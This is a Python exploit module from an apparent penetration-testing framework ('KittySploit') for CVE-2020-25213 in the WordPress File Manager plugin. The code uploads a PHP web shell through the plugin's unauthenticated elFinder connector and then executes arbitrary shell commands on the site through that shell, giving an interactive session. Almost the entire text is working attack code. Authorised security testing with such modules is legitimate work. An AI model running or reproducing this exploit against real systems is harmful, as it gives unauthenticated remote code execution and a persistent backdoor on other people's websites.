WordPress File Manager RCE (CVE-2020-25213)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress File Manager elFinder upload RCE (CVE-2020-25213) — execute session."""

from __future__ import annotations

import json
import re
import secrets

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'WordPress File Manager RCE (CVE-2020-25213)',
        'description': (
            'Exploits CVE-2020-25213 unauthenticated elFinder upload in '
            'wp-file-manager to drop a PHP shell, then runs commands via GET. '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2020-25213'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2020-25213',
            'https://plugins.trac.wordpress.org/changeset/2373068',
        ],
        'tags': ['wordpress', 'wp', 'file-manager', 'upload', 'php', 'rce', 'unauth', 'cve-2020-25213'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution', 'artifact_on_disk'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['wordpress'],
                'endpoint_pattern_any': ['/wp-file-manager/'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'elFinder PHP upload'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2020_25213_detect'],
            },
        },
    }

    base_path = OptString('/', 'WordPress base path', False, advanced=True)

    _CONNECTOR = '/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php'

    def _prefix(self) -> str:
        base = (self.path or self.base_path or '/').strip()
        if not base.startswith('/'):
            base = '/' + base
        return base.rstrip('/')

    def _connector(self) -> str:
        return f'{self._prefix()}{self._CONNECTOR}'

    def _php_shell(self) -> str:
        return (
            '<?php '
            'if(isset($_GET["cmd"])){'
            'echo shell_exec($_GET["cmd"]);'
            '}'
            '?>'
        )

    def _upload_shell(self) -> tuple[str, str] | None:
        filename = f'{secrets.token_hex(4)}.php'
        boundary = secrets.token_hex(16)
        body = (
            f'--{boundary}\r\n'
            'Content-Disposition: form-data; name="cmd"\r\n\r\n'
            'upload\r\n'
            f'--{boundary}\r\n'
            'Content-Disposition: form-data; name="target"\r\n\r\n'
            'l1_Lw\r\n'
            f'--{boundary}\r\n'
            'Content-Disposition: form-data; name="mtime[]"\r\n\r\n'
            '1576045135\r\n'
            f'--{boundary}\r\n'
            f'Content-Disposition: form-data; name="upload[]"; filename="{filename}"\r\n'
            'Content-Type: application/x-php\r\n\r\n'
            f'{self._php_shell()}\r\n'
            f'--{boundary}--\r\n'
        )
        r = self.http_request(
            method='POST',
            path=self._connector(),
            data=body.encode(),
            headers={'Content-Type': f'multipart/form-data; boundary={boundary}'},
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) != 200:
            return None
        try:
            data = json.loads(r.text or '{}')
        except json.JSONDecodeError:
            return None
        added = data.get('added') or []
        if not added:
            return None
        entry = added[0] if isinstance(added[0], dict) else {}
        url = (entry.get('url') or '').replace('\\/', '/')
        if url:
            if url.startswith('http'):
                from urllib.parse import urlparse
                return urlparse(url).path, filename
            if not url.startswith('/'):
                url = '/' + url
            return url, filename
        hash_id = entry.get('hash') or ''
        if hash_id:
            return (
                f'{self._connector()}?cmd=open&target={hash_id}&download=1',
                filename,
            )
        uploads = f'{self._prefix()}/wp-content/uploads/wp-file-manager-pro/fm_{filename}'
        return uploads, filename

    def _shell_url(self) -> str | None:
        if getattr(self, '_cached_shell', None):
            return self._cached_shell
        uploaded = self._upload_shell()
        if not uploaded:
            return None
        self._cached_shell = uploaded[0]
        return self._cached_shell

    def execute(self, cmd: str) -> str:
        shell = self._shell_url()
        if not shell:
            return ''
        from urllib.parse import quote
        if '?' in shell:
            path = f'{shell}&cmd={quote(cmd)}'
        else:
            path = f'{shell}?cmd={quote(cmd)}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2020-25213 confirmed via PHP shell id',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'elFinder upload did not yield a working PHP shell',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        self._cached_shell = None
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()